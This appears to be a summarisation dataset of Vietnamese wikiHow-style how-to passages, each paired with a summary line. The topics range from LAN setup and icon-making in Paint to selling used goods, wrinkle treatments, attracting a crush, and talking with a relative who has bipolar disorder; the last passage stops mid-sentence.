Khi cài mạng LAN, bạn cần biết số lượng máy tính kết nối với mạng qua Ethernet. Như vậy mới xác định được số cổng cần dùng. Nếu số máy tính cần nối dây là 4 hoặc ít hơn, bạn chỉ cần dùng bộ định tuyến. Nếu có nhiều hơn 4 máy, bạn cần có bộ chuyển mạch để mở rộng số cổng sẵn có trên bộ định tuyến. Nếu muốn thiết bị kết nối không dây, bạn cần bộ định tuyến có thể phát mạng không dây. Hầu hết các dòng bộ định tuyến trên thị trường đều có khả năng này. Bộ chuyển mạch không cho phép kết nối thiết bị không dây, chỉ sử dụng được trong mạng LAN nối dây hoặc mở rộng số cổng sẵn có trên bộ định tuyến. Nếu muốn toàn bộ thiết bị được kết nối có thể truy cập internet, bạn cần bộ định tuyến để xử lý kết nối. Nếu không cần kết nối mạng thì chỉ cần dùng bộ chuyển mạch. Đây không phải là một vấn đề nan giải ở các gia đình, nhưng cáp mạng không thể dài quá 100 m. Nếu muốn nối dây dài hơn 100 m, bạn cần dùng bộ chuyển mạch làm trung gian. Nếu đã sử dụng toàn bộ cổng, bạn nên cân nhắc mở rộng thêm cổng để có thể kết nối thêm thiết bị trong tương lai.

Summary: Đếm số máy tính cần kết nối. Quyết định có tạo mạng không dây hay không. Quyết định các thiết bị trong mạng có được truy cập internet hay không. Tính toán khoảng cách giữa các thiết bị được nối dây. Cân nhắc nhu cầu trong tương lai.


Khi ngủ, bạn nhớ cho hai chân vào trong chăn và đảm bảo chăn đã phủ kín chân để chân không bị lạnh. Như vậy, chân sẽ được giữ ấm hiệu quả hơn việc chỉ đắp chăn lên chân. Kéo khóa túi ngủ lên trên để chân của bạn được giữ ấm ở phía dưới túi. Cơ thể thường bị mất nhiều nhiệt khi đặt bàn chân trên sàn nhà lạnh. Khi có thể, bạn nên đặt chân trên ghế bành hoặc trên ghế để chân. Kể cả khi nhà và nơi làm việc của bạn có cảm giác khô và ấm áp, chân của bạn vẫn có thể bị lạnh và ướt khi di chuyển. Hãy chuẩn bị thêm tất và giày ở chỗ làm để thay đổi trong trường hợp chân của bạn bị ướt.  Bạn có thể để giày “đi làm” ở văn phòng và mang bốt giữ nhiệt khi di chuyển giữa nhà và chỗ làm. Nếu văn phòng hoặc chỗ làm bị lạnh, bạn cũng có thể tìm mua giày đi làm có phần cổ cao hoặc có lớp giữ nhiệt mỏng để giúp bạn giữ ấm chân trong khi làm việc. Một lựa chọn khác là mang tất len với giày đi làm thông thường. Nếu cơ thể của bạn đã được giữ ấm nhưng chân vẫn bị lạnh, điều đó có thể là vì phòng quá lạnh. Hãy đảm bảo bạn đã đóng các cửa sổ, bật máy sưởi, đốt lò sưởi, hoặc mua miếng chặn cửa nếu bạn cho rằng gió lạnh lùa vào bên dưới cửa.

Summary: Giữ ấm chân trong khi ngủ. Không để chân xuống sàn. Chuẩn bị thêm tất và giày. Làm ấm phòng.


Mặc dù bạn có thể dùng Paint để tạo biểu tượng cơ bản, nhưng mức độ hiển thị của biểu tượng sẽ bị ảnh hưởng; điều này có nghĩa là một số màu sẽ không hiển thị trên biểu tượng. Để có kết quả tốt nhất, bạn nên chọn màu trắng và đen để tạo biểu tượng cho Windows bằng Paint. Nếu muốn tạo biểu tượng cầu kỳ hơn, bạn có thể vẽ biểu tượng bằng Paint và lưu thành tập tin JPG rồi dùng ICO Convert để tạo biểu tượng. Đây là chương trình có sẵn trên mọi máy tính Windows; bạn có thể dùng Paint để tạo biểu tượng Windows đơn giản. Thao tác mở Paint như sau:  Mở Start {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","bigUrl":"https:\/\/www.wikihow.com\/images_en\/0\/07\/Windowsstart.png","smallWidth":460,"smallHeight":460,"bigWidth":760,"bigHeight":760,"licensing":"<div class=\"mw-parser-output\"><\/div>"}  Gõ paint  Nhấp vào Paint ở phía trên trình đơn Start. Nhấp vào thẻ View (Xem) ở phía trên cửa sổ Paint, rồi đánh dấu vào ô "Gridlines" (Ô lưới) ở phía trên cửa sổ. Sau khi thực hiện bước này, bạn nhớ nhấp vào thẻ Home để trở về giao diện chính của Paint. Tại thẻ Home, bạn sẽ thực hiện các bước sau:  Nhấp vào Resize (Thay đổi kích thước) Đánh dấu vào ô "Pixels" Bỏ chọn ô "Maintain aspect ratio" (Duy trì tỉ lệ khung hình) Gõ 32 vào ô "Horizontal" (Ngang) và "Vertical" (Dọc) để tạo trang vẽ có kích thước 32x32. Kích thước 96x96 cũng là lựa chọn phổ biến.  Nhấp vào OK Vì trang vẽ có kích thước rất nhỏ, bạn sẽ nhấp vào biểu tượng + ở bên dưới góc phải cửa sổ đến khi trang vẽ đủ to để bạn có thể thao tác một cách dễ dàng. Đối với trang vẽ 32x32, có lẽ bạn sẽ cần phóng to hết mức có thể (800%) để thao tác. Sau khi trang vẽ đã có kích thước và tỉ lệ phù hợp, bạn có thể thoải mái vẽ biểu tượng theo ý thích.  Các chuyên gia thiết kế đồ họa khuyên bạn nên tạo biểu tượng đơn giản, nổi bật và dễ đọc. Hãy nhớ rằng biểu tượng của bạn sẽ có kích thước nhỏ hơn khi hiển thị trên màn hình máy tính; do đó, bạn đừng thêm quá nhiều chữ hoặc chi tiết nhỏ.  Có lẽ bạn cần thay đổi kích thước cọ vẽ đang dùng. Bạn có thể thực hiện bằng cách nhấp vào danh sách những đường ngang ở phía trên thẻ Home và chọn một đường mảnh hơn trong danh sách đang hiển thị. Việc vẽ biểu tượng bằng chuột có thể rất khó và không hiệu quả. Nếu được, bạn nên dùng bảng vẽ để tạo biểu tượng.  Một trình đơn khác sẽ hiển thị sau khi bạn nhấp vào lựa chọn này.  Tại trường "File name" (Tên tập tin) ở gần bên dưới cửa sổ, bạn sẽ đặt tên bất kỳ cho tập tin biểu tượng và nhập thêm đuôi .ico để tập tin được lưu dưới dạng biểu tượng. Ví dụ, để đặt tên tập tin biểu tượng "Minecraft", bạn sẽ nhập Minecraft.ico tại đây.   Bạn sẽ chọn một thư mục ở bên trái cửa sổ để lưu tập tin biểu tượng (chẳng hạn như Pictures). Tốt hơn hết bạn nên lưu tập tin biểu tượng tại thư mục nào không dễ bị di chuyển hoặc xóa, vì việc di chuyển hoặc xóa tập tin biểu tượng sẽ khiến đường dẫn tắt sử dụng tập tin đó bị mất biểu tượng. Nhấp vào Save (Lưu) ở bên dưới góc phải cửa sổ, rồi nhấp vào OK trong cửa sổ đang hiển thị. Biểu tượng của bạn sẽ được lưu vào thư mục đã chọn. Bây giờ, bạn có thể thoải mái đặt biểu tượng.

Summary: Tìm hiểu bất lợi của phương pháp này. Mở Paint. Bật ô lưới. Chuyển trang vẽ thành kích thước biểu tượng. Phóng to. Vẽ biểu tượng. Nhấp vào File (Tệp) ở phía trên góc trái cửa sổ để mở danh sách lựa chọn. Chọn Save as (Lưu) ở giữa trình đơn đang hiển thị. Nhấp vào Other formats (Định dạng khác) ở bên dưới trình đơn đang hiển thị để mở một cửa sổ mới. Nhập tên và đuôi ".ico". Nhấp vào khung lựa chọn "Save as type" (Lưu theo định dạng) ở bên dưới cửa sổ để mở danh sách lựa chọn. Nhấp vào 256 Color Bitmap trong danh sách lựa chọn. Chọn thư mục lưu. Lưu biểu tượng.


Có rất nhiều cửa hàng tại địa phương thu mua đồ cũ từ mọi người với giá rẻ sau đó bán lại cho người khác. Hãy phân loại những thứ bạn không còn dùng đến hoặc không cần nữa và đem bán chúng tại các cửa hàng thu mua đồ gần nơi bạn ở cũng là một cách để kiếm thêm tiền.  Nếu bạn là người ham đọc sách và có hẳn một thư viện sách, hãy phân loại trong nguồn sách của bạn tìm những quyển mà bạn không còn cần dùng đến nữa. Sách trong điều kiện còn đọc tốt có thể bán được giá hơn ở những cửa hàng sách cũ đấy. Quần áo thì ai cũng có, và thường là đôi khi chúng ta có nhiều hơn mức cần thiết. Nếu tủ quần áo của bạn đang có quá nhiều đồ, hãy nhìn một lượt và tìm xem những đồ nào bạn mặc không vừa nữa hoặc không thích kiểu đó nữa thì hãy bán lại chúng. Quần áo ít vết bẩn, vẫn còn mới, không bị thủng, sờn rách sẽ vẫn có giá rất tốt. Nếu thư viện của bạn nhiều đĩa nhạc hơn là sách thì hãy thử nghĩ đến việc bán bớt những cái đĩa CD mà bạn có đi. Đĩa CD có đầy đủ vỏ, không bị trầy xước đều có thể bán lại với giá vài đô la mỗi chiếc. Tìm đến những cửa hàng đĩa tại nơi bạn ở và thử hỏi xem họ có mua lại CD còn dùng được không. Nếu bạn có nhiều đĩa game, hãy thử phân loại đống game đó của bạn. Rất nhiều cửa hàng video game muốn mua lại những đĩa trò chơi đó nếu nó không bị trầy xước hoặc có vấn đề lỗi gì cả để bán lại cho những người nào thích. Mặc dù số tiền bạn bán được chỉ bằng 1 phần nhỏ so với số tiền bạn đã bỏ ra để mua chúng thì việc bán đi những thứ bạn không còn cần đến nữa cũng tốt hơn là không nhận được gì đúng không? Cố gắng phân loại những thứ linh tinh và bán lại tại một hiệu cầm đồ địa phương gần nơi bạn ở. Có thể là chiếc máy xay sinh tố hay cái xe đạp cũ, hãy bán lại bất kỳ thứ gì không còn cần dùng đến nữa. . Nếu bạn chịu trách nhiệm bán những món này thay vì đưa nó đến một cửa hàng, hãy cân nhắc đến việc có một kho chứa đố và cách quảng cáo mấy thứ này. Cách này cần nhiều kế hoạch và chú ý hơn là đem đồ đến các cửa hàng bán đồ cũ (secondhand), tuy nhiên cách này chủ động hơn nên bạn cũng dễ có nhiều tiền hơn các cách trên.   Bán hàng trong ga-ra hoặc ngay tại sân nhà. Đối với cách bán hàng trực tiếp, số tiền bạn có thể kỳ vọng nhiều nhất khi bán một món hàng mới tinh với giá thu lại được một nửa so với giá gốc, nhưng bạn cũng có thể thu được tiền từ việc bán một số thứ khác hiện bạn không còn sử dụng đến. Hãy chắc chắn rằng bạn có một kế hoạch quảng cáo nào đó đủ hấp dẫn, có thể là trên một tờ báo địa phương chẳng hạn và đặt những biển hiệu chỉ dẫn đến địa điểm bán của bạn để tạo được sự chú ý trên các con phố tấp nập. Đăng những món hàng bạn có lên các trang như Craigslist hoặc eBay để có thể quảng cáo tới nhiều người mua hơn. Nếu bạn đang có nhiều món đồ giá trị ngoài quần áo hay đồ dụng cụ gia đình thông thường, hãy nghĩ đến việc mở hẳn một mục quảng cáo trên mạng. Craigslist sẽ là một lựa chọn tốt cho bạn để bán những thứ này tới người khác mà không phải lo những rắc rối vận chuyển chúng trên toàn quốc. Nghe có vẻ lạ nhưng đây không phải là bán nội tạng của bạn mà là những thứ khác có thể kiếm được nhiều tiền ví dụ như huyết tương, cấu trúc di truyền học hay mái tóc dài của bạn.  Nếu bạn có một mái tóc dài (trên 25 cm) và bạn có sức khỏe tốt, hãy nghĩ đến việc cắt bớt chúng đi và bán nó cho công ty làm tóc giả. Tóc không hóa chất, không nhuộm sẽ rất có giá, đặc biệt nếu nó có màu đặc biệt hoặc có dáng tự nhiên. Tóc càng dài càng nhiều tiền và bạn hoàn toàn có thể nghĩ đến việc bán nếu được giá đúng không. Bạn cũng có thể nghĩ đến việc bán huyết tương của chính bạn tới ngân hàng huyết học tại địa phương. Huyết tương là một phần của máu và rất hữu ích đối với những bệnh nhân bị rối loạn huyết tương. Bạn cũng có thể hiến huyết tương của bạn nhiều lần trong vài tuần và kiếm được trung bình khoảng 50 đô mỗi lần hiến huyết tương như vậy. Bán tinh trùng (Đối với nam). Mặc dù không phải anh chàng nào cũng thoải mái khi cho đi cấu trúc di truyền của mình cho người lạ, nhưng nếu bạn đang cần tiền và sẵn sàng giúp đỡ những cặp đôi hiếm muộn thì hãy nghĩ đến điều này. Bạn có thể kiếm được 1 khoản lên đến 100 đô cho mỗi lần lấy tinh trùng. Bán trứng (Đối với nữ). Cách này mất nhiều thời gian hơn bán tinh trùng đối với nam. Nhưng nếu bạn muốn, bạn có thể kiếm được 10.000 đô cho mỗi lần lấy trứng để bán. Quá trình lấy trứng có thể mát vài tuần tiêm và làm vài thủ tục ngoại trú nhỏ, có thể hơi khó chịu một chút. Nhưng ngược lại, bạn có thể kiếm được nhiều tiền trong thời gian ngắn, tại sao không? Có thể là từ mặt sau của một món đồ trang sức cũ kỹ của bạn. Những kim loại này bán cũng được chút tiền và nó khá dễ dàng, phải không?   Vàng có thể mua ở bất kỳ thời điểm nào với giá cao – 1.350 đô mỗi ounce (28, 35 g) vàng 24 karat. Mặc dù hầu hết các loại vàng trang sức không có chất lượng cao, bạn hoàn toàn có thể kiếm được vài trăm đô la bằng việc bán đi những cái nhẫn cũ hoặc lắc tay mà bạn không còn đeo nữa.   Bán đồ phế loại là cách hay để kiếm tiền mà không nhiều người nghĩ đến. Nếu như bạn có 1 chiếc ô tô cũ, 1 con thuyền không còn dùng đến nữa, 1 chiếc RV hoặc một món đồ tương tự không còn dùng, hãy nghĩ đến việc dỡ bỏ một bộ phận nào đó và bán chúng cho cửa hàng phế liệu gần chỗ bạn ở. Bạn có thể có được vài trăm, thậm chí hàng ngàn đô la cho mỗi bộ phận hoặc món đồ nào đó mà bạn không cần dùng đến nữa. Mỗi khi bạn tổ chức tiệc tùng, sau khi kết thúc hãy thu thập hết những lon đồ uống bỏ lại. Bạn có thể thu thập rồi bán lại cho cửa hàng phế liệu với giá khoảng 15.000 đồng cho 450 gam cân nặng (khoảng 32 lon đồ uống). Bạn vừa có thể làm sạch môi trường và vừa có thể kiếm thêm được vài đồng, tại sao không? Tận dùng những đồ phế liệu từ những kho hàng gần đó bỏ lại hoặc từ những thùng đựng rác. Bạn có thể mua được đống sắt vụn có thể hữu ích cho một số mục đích của bạn từ những chiếc xe ô tô cũ bỏ đi hoặc con thuyền,…rẻ hơn là bạn đi mua mới kim loại ở bên ngoài. Bạn có phải là một người thợ làm bánh giỏi, một nghệ sỹ biết chơi nhạc, một người làm vườn, hay một thợ mộc nghiệp dư giỏi không? Hãy tự làm những đồ mà bạn có thể tự làm tại nhà rồi bán chúng. Còn nếu bạn là một nghệ sỹ thực thụ, có rất nhiều cách để bán sản phẩm mà bạn làm ra đấy.   Thử mở một cửa hàng trên các chợ trực tuyến như Etsy hay eBay. Cách này có thể cho phép bạn quảng cáo sản phẩm của mình, cung cấp những thông tin cơ bản và quảng cáo mặt hàng ra xung quanh. Etsy là một kênh rất tốt để bán những sản phẩm thủ công với giá cao. Hãy thử xem! Mang những thứ mà bạn làm tới những hội chợ thương mại hay các chợ truyền thống. Người mua, người tham dự sẽ vô cùng phong phú và sẽ ghé để thử các sản phẩm độc đáo tự làm của bạn, và vì thế tại sao không thử cách này. Những địa điểm như vậy có thể yêu cầu bạn trả một chút tiền phí để thuê gian hàng nhưng bạn hoàn toàn có thể có 1 gian hàng miễn phí ở đó. Quảng cáo sản phẩm lên những cửa hàng địa phương. Thử lòng vòng dạo qua xem có những sản phẩm tương tự đang bán giống với sản phẩm bạn đang làm không và hỏi họ xem có muốn nhập để bán sản phẩm của bạn hay không. Khá nhiều chủ cửa hàng địa phương sẽ vui vẻ nhận hỗ trợ cho bạn trưng bày và bán sản phẩm của mình tại đó. Bạn có phải là một chủ nhân nổi tiếng của một blog hay trang web nào đó? Nếu có thì bạn hãy cân nhắc bán không gian quang cáo trên địa chỉ cá nhân này cho ai muốn quảng cáo sản phẩm. Bạn có thể đăng ký bằng nhiều tài khoản khác nhau và bán không gian kiểu quảng cáo này cho những ai muốn quảng bá sản phẩm dịch vụ của họ. Bạn sẽ nhận được một số % hoa hồng từ việc bán không gian quảng cáo này đấy. Cách tốt nhất để có nhiều tiền từ cách này là luôn giữ cho trang của bạn thật thú vị để có nhiều lượt view và lượt ghé thăm, tương tác mỗi ngày. Nếu bạn có một phòng ngủ, một tầng hầm, hay một chỗ đậu xe trên đường phố đông đúc mà không dùng đến trong một khoảng thời gian nào đó, hãy nghĩ đến việc cho thuê. Sau đó khi cần dùng đến, bạn lại hủy hợp đồng cho thuê khi bạn muốn.  Nếu bạn quyết định cho thuê 1 phần của căn nhà, hãy chắc chắn rằng bạn có một thỏa thuận bằng văn bản và các giấy tờ cần thiết khác với người đi thuê. Điều này sẽ giúp bạn tránh mọi rắc rối với người thuê về mặt pháp lý. Thử quảng cáo khu vực đỗ xe cho hàng xóm của bạn xem, có khi người hàng xóm của bạn cũng đang cần tìm chỗ thuê để xe đấy. Tham khảo mức giá mà các nơi khác chào xem để đưa ra một mức giá thật hợp lý. Những bức ảnh bạn lưu có thể là khá đơn giản mà ai cũng có thể lấy được trên những bài báo, ấn phẩm quảng cáo hay bài thuyết trình miễn phí nào đó,… Chúng có thể không kiếm được nhiều lắm nhưng nếu bạn có thể tải lên một bộ sưu tập đẹp của chúng theo chủ đề thì bạn cũng có thể kiếm được một chút tiền từ đó. Hãy thử ngay hôm nay, thu thập, tải chúng lên, và chờ đợi.

Summary: Bán đồ đạc của bạn có cho các cửa hàng gần nơi bạn sinh sống. Trực tiếp bán những đồ vật không cần dùng của bạn trên mạng. Bán bộ phận cơ thể. Bán kim loại. Bán những thứ mà bạn tự làm. Bán không gian trống trên trang web của bạn. Cho thuê một số khoảng không gian nếu bạn không dùng đến. Bán những bức hình bạn lưu.


Một chuyên gia châm cứu được đào tạo và có giấy phép có thể giúp bạn giảm các nếp nhăn trên trán bằng cách cân bằng các cơ trên mặt.  Bạn sẽ cần 10-12 lần điều trị, mỗi tuần 2 lần trong 5 hoặc 6 tuần. Chuyên gia châm cứu sẽ châm những chiếc kim mỏng vào các huyệt đạo trên mặt và cơ thể. Những chiếc kim này kích thích sự sản sinh collagen và elastin, từ đó làn da sẽ căng đầy tự nhiên, sự lưu thông máu trên mặt cũng được cải thiện và các nếp nhăn trên trán sẽ mờ đi. Botox và các neurotoxins (độc tố thần kinh) khác có tác dụng ngăn chặn phản xạ của các dây thần kinh làm co thắt các cơ trên trán. Kết quả là các nếp nhăn hiện có sẽ mờ đi và không hằn sâu thêm.  Yêu cầu tiêm với liều lượng thấp nhất mà vẫn có thể xóa mờ vết nhăn. Ban đầu, bạn chỉ cần tiêm 9-15 đơn vị để điều trị vết nhăn trên trán. Bên cạnh botox, các chất neurotoxins khác còn có xeomin and dysport. Liệu pháp tiêm neurotoxin chỉ có tác dụng một thời gian, vì vậy bạn sẽ phải tiêm các đợt khác khoảng 4 tháng một lần nếu muốn duy trì kết quả. Bác sĩ hoặc kỹ thuật viên sẽ chiếu nguồn năng lượng tia laser hoặc ánh sáng xung trực tiếp vào trán. Thủ thuật kéo dài khoảng 30 phút đến 2 tiếng. Ánh sáng cường độ mạnh sẽ loại bỏ lớp trên cùng của da, tạo ra vết thương nhẹ trên bề mặt da mà mắt thường không nhìn thấy. Để phản ứng lại, da sẽ kích hoạt việc sản sinh collagen tự nhiên, đồng thời tạo ra lớp da mới và không có nếp nhăn. Các liệu pháp hóa chất thông dụng nhất trong việc điều trị các nếp nhăn trên trán gồm lột da hóa chất và mài da.  Với liệu pháp lột da bằng hóa chất, bác sĩ sẽ dùng các hóa chất khác nhau để đốt lớp ngoài cùng của da. Cơ thể sẽ phản ứng với thương tổn này bằng cách sản sinh nhiều collagen hơn, nhờ đó làn da cũng trở nên mịn màng hơn. Trong liệu pháp mài da, bác sĩ sẽ dùng tinh thể hóa học nhẹ và thiết bị chân không để bóc đi lớp ngoài cùng của da. Điều này sẽ đẩy lớp da có kết cấu đồng đều hơn lên bề mặt da, giúp xóa các nếp nhăn và nếp gấp nhẹ.

Summary: Cân nhắc liệu pháp châm cứu. Tiêm neurotoxin. Tìm hiểu về liệu pháp tái tạo bề mặt da bằng tia laser. Hỏi về liệu pháp hóa chất.


Bạn nên dành thêm 10 hoặc 15 phút để trông tuyệt vời nhất trước khi gặp crush. Sự thay đổi đến từ những điều nhỏ nhặt cũng có thể biến bạn trở nên thật hấp dẫn trong mắt người ấy. Diện mạo đẹp không chỉ làm crush chú ý đến bạn mà còn giúp bạn tự tin hơn để tiếp cận đối phương.  Hãy chú ý đến mái tóc. Bạn chỉ cần dùng lược chải sơ qua để tạo nên sự khác biệt. Đặc biệt, các cô gái thường tự tin hơn với kiểu tóc duỗi thẳng hoặc uốn xoăn. Nếu bạn trang điểm, hãy chắc chắn lớp trang điểm có độ bám dính tốt và sẽ lưu lại trên da cả ngày. Ngoài ra, hãy đảm bảo chăm sóc tốt cho cơ thể bằng cách ngủ đủ giấc cũng như chăm sóc làn da để trông bạn tươi tắn và khỏe mạnh hơn. Ăn mặc không đụng hàng với những người xung quanh là một cách tốt để thu hút sự chú ý. Điều này đặc biệt hiệu quả nếu bạn ở trong một môi trường mà mọi người đều ăn mặc tương tự nhau.  Nếu mọi người ở trường đều ăn mặc giống nhau hoặc mặc đồng phục, bạn hãy mang một chiếc vòng cổ to bản hoặc một đôi giày thể thao thật ngầu để thu hút sự chú ý của crush. Nếu bạn đang trong môi trường làm việc chuyên nghiệp, hãy mặc những bộ trang phục phù hợp nhưng khác biệt. Ví dụ, bạn có thể sử dụng một chiếc áo sơ mi có cổ với hoạ tiết thú vị hoặc một chiếc băng đô lấp lánh. Nếu màu đỏ phù hợp với bạn, hãy mặc nó. Các nghiên cứu cho thấy cả phụ nữ và nam giới đều hấp dẫn đối phương khi mặc màu đỏ. Hãy lựa chọn một chiếc váy đỏ hoặc áo sơ mi đỏ từ tủ quần áo để thu hút sự chú ý của crush. Nếu bạn không thích màu đỏ, hãy chọn màu sáng khác để giúp bạn nổi bật giữa đám đông. Việc cố gắng gây ấn tượng với crush sẽ dễ làm bạn quá đà với trang phục của mình. Bạn muốn trông thật lộng lẫy, tuy nhiên nên nhớ mặc quần áo phù hợp theo từng tình huống.  Chẳng hạn, nếu crush thuộc lớp yoga của bạn, đừng mặc đồ tập giống như thể bạn đang sải bước trên thảm đỏ. Hãy nhớ rằng mọi việc chỉ tốt đẹp hơn trong sự chừng mực. Điều này khá đúng khi sử dụng nước hoa và chất tạo hương. Bạn nên cố gắng để lọt vào tầm ngắm của đối phương. Nếu hai bạn học cùng lớp, hãy ngồi gần hoặc trước mặt chàng. Nếu bạn thấy anh ta tại phòng tập gym, hãy đi tập gần đó. Hãy thực hiện điều này đến khi bạn chắc chắn rằng crush đã nhìn thấy và biết sự hiện diện của bạn! Không nên quẩn quanh bên crush quá nhiều. Có một sự khác biệt giữa việc rình rập crush và việc đảm bảo cho đối phương nhìn thấy bạn. Bất cứ nơi nào bạn thấy crush xuất hiện, hãy tham gia cùng. Nếu bạn học cùng trường với crush, hãy gia nhập vào một đội thể thao hoặc một hoạt động ngoại khóa. Nếu bạn tham gia tình nguyện cùng với crush, hãy đảm nhận nhiều giờ hơn. Việc tham gia nhiều hoạt động sẽ giúp bạn nâng cao tầm nhìn, đồng thời thể hiện bạn là một người sống có động lực và mục tiêu và đây đều là những phẩm chất hấp dẫn.

Summary: Dành thêm thời gian chăm chút diện mạo bản thân. Trông thật khác biệt. Mặc màu đỏ. Không nên ăn mặc quá trớn. Hãy chắc chắn rằng người bạn phải lòng đã nhìn thấy bạn ở đó. Tham gia nhiều hơn.


Một số người thích nói đùa rằng mình bị “tâm thần” cho dù họ không mắc bất kì loại bệnh tâm thần nào. Cách nói như vậy không chỉ đưa thông tin sai lệch mà còn vô tình tầm thường hóa những trải nghiệm mà người mắc bệnh thực sự gặp phải. Vì vậy bạn phải cẩn trọng khi thảo luận về bệnh tâm thần.  Bạn cần nhớ rằng con người là sự tổng hợp của nhiều năng lực khác nhau, bên cạnh những khuyết điểm như bệnh tật. Do đó chúng ta không được nói những câu mang tính gói gọn như “Mình nghĩ bạn là người lưỡng cực”. Thay vào đó bạn nên nói: “Mình nghĩ bạn mắc bệnh lưỡng cực”.  Khi gọi ai đó “là” căn bệnh của họ thì bạn vô tình đã giảm giá trị của họ xuống còn một thành tố cấu thành duy nhất. Điều này làm trầm trọng thêm sự kỳ thị vốn thường đi kèm với bệnh tâm thần, cho dù bạn không có ý như vậy. Cố gắng tránh an ủi người bệnh bằng cách nói “Mình cũng hơi bị lưỡng cực” hay “Mình hiểu cảm nhận của bạn”, cách nói này hại nhiều lợi vì chúng chỉ làm họ cảm thấy bạn không xem căn bệnh đó một cách nghiêm túc. Bạn có thể lo lắng vì sợ nói ra sẽ làm họ buồn, nhưng bạn thật sự nên nói cho họ biết về những suy nghĩ của mình vì điều đó có ích. Tránh nói về bệnh tâm thần là vô tình tán thành tiếng xấu vốn hay đi kèm với căn bệnh này, và khuyến khích người bệnh nhầm tưởng họ là người “xấu” hoặc “vô dụng”, cảm thấy xấu hổ khi bị bệnh. Khi tiếp cận bạn cần có thái độ cởi mở, chân thành và biểu lộ sự cảm thông.  Trấn an người bệnh rằng bạn luôn ở bên họ. Rối loạn lưỡng cực khiến người ta cảm thấy rất đơn độc, do đó bạn nên nói cho người đó biết là mình luôn ở cạnh bên để hỗ trợ bằng tất cả sức lực. Thừa nhận căn bệnh của họ là có thật. Cố gắng xem thường các triệu chứng mà người thân của bạn mắc phải không phải là việc hay, vì như vậy chẳng làm họ thấy khá hơn. Thay vì nói với họ bệnh này “không có gì đáng sợ”, bạn nên thừa nhận sự nghiêm trọng của nó nhưng đồng thời khẳng định bệnh hoàn toàn điều trị được. Ví dụ: “Chị biết em bị bệnh vì nó đang khiến em làm những việc không phải là chính mình. Nhưng chúng ta có thể tìm ra cách giải quyết”. Truyền tải tình yêu và sự chấp nhận với người bệnh. Đặc biệt trong giai đoạn trầm cảm, họ có khuynh hướng tin rằng mình là người vô dụng và tàn tạ. Bạn cần dung hòa niềm tin tiêu cực đó bằng cách thể hiện tình yêu và sự chấp nhận đối với bản thân người bệnh. Ví dụ: “Bạn rất quan trọng với mình. Mình luôn lo lắng cho bạn và đó là lý do vì sao mình muốn giúp em”. Khi nói chuyện, điều quan trọng là bạn không được tỏ ra mình đang chỉ trích hay phán xét họ. Người mắc bệnh tâm thần dễ cảm thấy như cả thế giới đang chống lại họ, vì vậy bạn nên tỏ ra đang đứng về phía người thân yêu của bạn.  Ví dụ bạn có thể nói: “Mình quan tâm đến bạn và mình thấy có những vấn đề đáng lo ngại”. Có một số câu nói mang hàm ý áp đặt mà bạn nên tránh. Ví dụ, bạn nên tránh nói những điều như “Chị chỉ cố giúp em thôi” hay “Em cần phải nghe lời chị”. Có thể bạn lo lắng cho sức khỏe của người đó và thấy cần phải giúp họ “bằng mọi cách có thể”. Tuy nhiên, bạn tuyệt đối không nên sử dụng cách nói phóng đại, đe dọa, “lời nói trách cứ” hay đổ lỗi để buộc họ đi khám bệnh. Nói như vậy chỉ càng làm họ tin rằng bạn thấy điều gì “bất thường” ở họ.  Tránh những câu nói như “Em đang làm chị lo đó” hay “Hành vi của em kỳ quá”, chúng nghe có vẻ quy kết và khiến đối phương thu mình lại. Kiểu nói bông đùa với cảm xúc tội lỗi của đối phương cũng không có lợi. Không sử dụng mối quan hệ làm đòn bẩy buộc người đó phải đi khám bệnh, chẳng hạn như nói “Nếu em thật sự thương chị thì phải đi khám bệnh” hay “Hãy nghĩ về những gì em đang làm với gia đình chúng ta”. Người mắc bệnh rối loạn lưỡng cực thường phải đấu tranh chống lại cảm xúc xấu hổ và vô dụng, do đó cách nói này chỉ làm tình hình xấu thêm. Tránh đe dọa. Bạn không thể buộc ai đó làm điều mình muốn. Bạn sẽ chỉ làm người đó căng thẳng nếu nói những điều như “Nếu em không đi khám bệnh thì chị sẽ từ em” hoặc “Chị sẽ không mua xe cho em nếu em không chịu khám bệnh”, sự căng thẳng đó có thể làm nảy sinh tâm trạng tiêu cực. Một số người không muốn chấp nhận mình có vấn đề. Khi người bệnh lưỡng cực trong giai đoạn hưng cảm, họ cảm thấy rất “hưng phấn” nên không dễ để chấp nhận mình có vấn đề. Ngược lại khi có tâm trạng trầm cảm, họ nhận ra mình không ổn nhưng không thấy có hy vọng chữa trị thành công. Bạn nên thể hiện mối lo của mình dưới dạng đề tài liên quan tới sức khỏe.  Ví dụ, bạn có thể lặp lại quan điểm của mình cho rằng rối loạn lưỡng cực cũng chỉ là một căn bệnh giống như tiểu đường hay ung thư. Bạn muốn họ đi khám bệnh lưỡng cực cũng giống như trường hợp bạn khuyến khích họ đi chữa ung thư. Nếu người đó vẫn miễn cưỡng không chấp nhận mình bị bệnh thì bạn có thể gợi ý cho họ đi khám bệnh vì một triệu chứng nào đó, không phải vì bệnh “rối loạn”. Ví dụ, nếu bạn gợi ý đi khám chứng mất ngủ hay mệt mỏi thì có thể dễ dàng thuyết phục họ tới bệnh viện hơn. Trong lúc nói chuyện bạn thường có xu hướng biến những mối lo của mình thành một bài giảng trước người bệnh. Để tránh phạm phải điều này bạn nên mời họ chia sẻ cảm xúc và suy nghĩ. Nhớ rằng: mặc dù bạn có thể bị ảnh hưởng bởi chứng rối loạn của họ, nhưng vấn đề ở đây là cần giúp đỡ họ, không phải bạn.  Ví dụ, sau khi chia sẻ mối lo của mình, bạn nên nói “Em muốn chia sẻ suy nghĩ hiện giờ của em không?” hoặc “Giờ em đã nghe xong điều chị muốn nói, thế em nghĩ gì?”. Không nên cho rằng bạn biết đối phương cảm nhận thế nào. Để trấn an người khác người ta dễ dàng nói “Chị biết em cảm thấy thế nào”, nhưng thực tế câu nói đó nghe rất tùy tiện. Bạn nên nói điều gì đó thừa nhận cảm xúc riêng của người bệnh mà không ngụ ý như đã biết rồi: “Giờ thì chị hiểu vì sao điều đó làm em buồn”. Nếu người đó kháng cự và không chấp nhận mình bị bệnh thì cũng không nên tranh cãi về việc này. Bạn có thể kêu gọi người thân của mình đi khám bệnh nhưng không thể buộc nó phải xảy ra. Cho dù cảm xúc này diễn ra trong giai đoạn trầm cảm thì nó cũng rất thật đối với người chứng kiến. Do đó việc thẳng thừng gạt bỏ cảm xúc của người bệnh khiến họ không thể chia sẻ suy nghĩ của mình trong tương lai. Thay vào đó bạn phải xem trọng cảm xúc của bệnh nhân và cùng nhau đương đầu với những suy nghĩ tiêu cực. Ví 